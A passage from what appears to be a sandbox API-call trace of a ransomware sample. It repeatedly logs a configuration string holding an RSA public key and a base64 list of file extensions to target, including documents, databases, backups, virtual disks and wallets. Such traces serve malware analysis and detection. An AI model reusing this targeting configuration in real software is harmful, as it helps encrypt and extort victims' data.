lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb